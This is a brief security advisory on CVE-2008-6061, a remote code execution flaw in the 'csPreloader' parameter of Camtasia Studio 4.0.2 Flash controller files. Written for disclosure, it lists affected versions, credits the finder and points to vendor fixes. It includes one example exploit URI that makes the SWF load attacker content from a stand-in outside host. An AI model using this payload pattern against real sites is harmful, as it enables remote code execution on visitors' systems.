Camtasia Studio 'csPreloader' Remote Code Execution Vulnerability

Bugtraq ID:	27107
Class:	Input Validation Error
CVE:	CVE-2008-6061
Remote:	Yes
Local:	No
Published:	Jan 02 2008 12:00AM
Updated:	Feb 19 2009 11:28PM
Credit:	Rich Cannings of the Google Security Team is credited with the discovery of this vulnerability.
Vulnerable:	TechSmith Camtasia Studio 4.0.2
Not Vulnerable:	TechSmith Camtasia Studio 5.0

Camtasia Studio 'csPreloader' Remote Code Execution Vulnerability

Camtasia Studio is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application and the underlying system; other attacks are also possible.

NOTE: This vulnerability was initially considered a cross-site scripting issue, but further analysis reveals that this is a remote code-execution vulnerability.

Camtasia Studio 'csPreloader' Remote Code Execution Vulnerability

An attacker can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/Example_controller.swf?csPreloader=http://www.example2.com/DoKnowEvil.swf%3f

Camtasia Studio 'csPreloader' Remote Code Execution Vulnerability

Solution:
The vendor has released updates to address this issue. Please see the references for more information.

Camtasia Studio 'csPreloader' Remote Code Execution Vulnerability

References:

• Vendor Homepage (TechSmith)
  
• XSS Vulnerabilities in Common Shockwave Flash Files ("rich cannings" )